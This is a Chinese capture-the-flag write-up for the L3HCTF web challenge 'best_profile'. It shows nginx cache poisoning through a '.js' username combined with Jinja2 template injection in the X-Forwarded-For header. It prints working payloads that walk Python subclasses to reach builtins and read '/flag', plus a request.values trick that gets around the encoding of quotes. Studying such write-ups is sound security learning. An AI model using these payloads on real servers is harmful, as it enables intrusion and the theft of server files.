L3HCTF

web

best_profile

审计给出的源代码判断漏洞点大概率存在于ip_detail路由下的模版注入,查看给出的nginx配置文件中对于.js文件会缓存12h,可以通过注册x.js类型的用户名利用cache poisoning进行投毒,使ip_detail路由下访问127.0.0.1/get_last_ip后访问到的为我们投毒后具有恶意ip的页面并在后续进行渲染和回显
对缓存投毒的学习总结
步骤如下
1.注册a.js用户,抓包改xff为我们进行模版注入的payload后访问get_last_ip路由进行缓存投毒
{{7*7}}

2.访问ip_detail路由成功回显
49

3.寻找可用类(此处由于尚未发现特殊符号如’在编码传入模版时会携带&导致报错故未能直接获取flag)
X-Forwarded-For:{% for cls in [].__class__.__base__.__subclasses__() %}{% if cls.__init__.__globals__ %}{{ loop.index0 }} {% endif %}{% endfor %}
X-Forwarded-For:{{ [].__class__.__base__.__subclasses__()[216].__name__ }} //遍历后找到catch_warnings

1752328750388.png
d67f90b7a547b980c7774090991344ee.png
4.读取flag
X-Forwarded-For: {{ [].__class__.__base__.__subclasses__()[216].__init__.__globals__['__builtins__'].open('/flag').read() }} //报错500

5.本地起环境开debug模式找原因,发现是存在&符号导致,即在last_ip.html网页中’等特殊符号会被编码出&,故利用request进行绕过
X-Forwarded-For: {{ [].__class__.__base__.__subclasses__()[216].__init__.__globals__[request.values.a].open(request.values.b).read() }}
?a=__builtins__&b=/flag
获得flag
1752328758249.png